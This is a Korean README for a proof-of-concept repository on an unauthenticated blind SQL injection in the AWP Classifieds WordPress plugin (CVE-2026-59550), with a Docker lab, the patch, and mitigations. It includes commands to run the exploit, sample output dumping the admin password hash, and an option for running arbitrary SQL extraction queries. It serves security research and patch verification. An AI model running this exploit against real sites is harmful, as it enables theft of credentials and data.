
AWP Classifieds <= 4.4.7에 대한 인증되지 않은 시간 기반 블라인드 SQL 인젝션 PoC로, Docker 랩, 전체 분석 문서, 패치 diff를 포함합니다.
WordPress 플러그인 AWP Classifieds(another-wordpress-classifieds-plugin)에서
발생하는 인증되지 않은 시간 기반 블라인드 SQL 인젝션으로, 플러그인의
익명(게스트) AJAX 광고 제출 흐름을 통해 도달할 수 있습니다.
| CVE | CVE-2026-59550 |
| 플러그인 | AWP Classifieds (another-wordpress-classifieds-plugin) |
| 취약 버전 | <= 4.4.7 |
| 패치 버전 | 4.4.8 |
| 분류 | SQL 인젝션 (OWASP A3: Injection) |
| 권한 | 인증 불필요 |
| CVSS v3.1 | 9.3 (High) |
| 싱크 | AWPCP_BasicRegionsAPI::save() - includes/regions-api.php |
| 보고자 | Thaer Assfour (Patchstack 경유) |
| 권고문 | https://patchstack.com/database/wordpress/plugin/another-wordpress-classifieds-plugin/vulnerability/wordpress-awp-classifieds-plugin-4-4-7-sql-injection-vulnerability |
AWPCP_BasicRegionsAPI::save()는 사용자가 제공한 regions 배열의 키를
그대로 $wpdb->insert() / $wpdb->update()로 전달합니다.
WordPress는 컬럼 이름을 백틱으로 감싸지만 이스케이프하지는 않으므로,
백틱을 포함한 키가 식별자를 벗어나 임의의 SQL을 주입할 수 있습니다.
regions 배열은 $_POST에서 그대로 가져오며, 게스트 광고 게시가 활성화된
경우(requireuserregistration = 0, 기본값) 전체 체인에 인증 없이 도달할 수
있습니다.
4.4.8의 수정 사항은 명시적인 컬럼 허용 목록(filter_region_columns())과
제출된 지역에 대한 필드 허용 목록(prepare_submitted_region())을 추가합니다.
.
├── README.md # this file
├── docs/
│ └── WRITEUP.md # full technical writeup
├── exploit/
│ ├── exploit.py # unauthenticated blind SQLi PoC
│ └── requirements.txt
├── lab/
│ ├── docker-compose.yml # WordPress 6.8 + MariaDB 11, vuln + patched
│ ├── setup.sh # stage plugins, boot, provision both sites
│ └── teardown.sh # remove containers + volumes + staged files
└── patches/
├── 4.4.8-regions-api.diff # the security fix (single file)
└── 4.4.7-to-4.4.8-full.diff # complete release diff
요구 사항: Docker + Docker Compose, requests가 설치된 Python 3, unzip.
# 1. build and provision the disposable lab (Docker only)
cd lab
./setup.sh /path/to/another-wordpress-classifieds-plugin.4.4.7.zip \
/path/to/another-wordpress-classifieds-plugin.4.4.8.zip
# -> vulnerable (4.4.7): http://localhost:8080/?page_id=8
# -> patched (4.4.8): http://localhost:8090/?page_id=8
# 2. run the PoC
cd ../exploit
python3 -m pip install -r requirements.txt
python3 exploit.py http://localhost:8080 # should be VULNERABLE
python3 exploit.py http://localhost:8090 # should be PATCHED
# 3. tear everything down
cd ../lab && ./teardown.sh
setup.sh는 두 플러그인 아카이브를 인수로 받거나 AWP447_ZIP /
AWP448_ZIP 환경 변수를 통해 받습니다. 아무것도 지정하지 않으면
~/Downloads/<slug>.4.4.7.zip과 ~/Downloads/<slug>.4.4.8.zip으로
폴백합니다. 아카이브는 이 저장소에 커밋되지 않으며, 원본 WordPress
코어와 플러그인 복사본은 lab/html-*/ 내부에만 존재하고 git에서
무시됩니다.
[*] target : http://localhost:8080
[+] anonymous listing=17 transaction=e40d5a20c91e22db865cb6612f5c2908 nonce=f59eb541e1
[*] probing time-based oracle
[+] target is VULNERABLE to unauthenticated blind SQL injection
[+] admin / $wp$2y$10$AcAkM9QXI8OnCEEdht5G.eMnUX5y6Esb2BTEPN
[*] extracting data without authentication
[+] DBMS version : 11.8.9-MariaDB
[+] first WP user : admin
명시적인 쿼리로 임의의 데이터를 추출할 수 있습니다:
python3 exploit.py http://localhost:8080 \
--query "SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1" \
--maxlen 60
이 PoC는 시간 기반 오라클이므로 SQL 출력의 반사가 필요 없으며 완전히 블라인드한 대상에서도 동작합니다.
// includes/regions-api.php (4.4.7)
public function save( $region ) {
...
$result = $this->db->insert( AWPCP_TABLE_AD_REGIONS, $region ); // keys -> SQL identifiers
}
전체 오염 분석, 요청 추적, 생성된 SQL 증명 및 수정 논의는
docs/WRITEUP.md를 참조하세요.
requireuserregistration = 1을 적용하고/하거나
awpcp_save_listing_information / awpcp_create_empty_listing AJAX
액션을 차단하세요.이 자료는 방어적 보안 연구, 교육 및 승인된 테스트 목적으로만 제공됩니다. 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에 대해 사용하지 마세요. 랩은 완전히 컨테이너화되어 있으며 일회용입니다.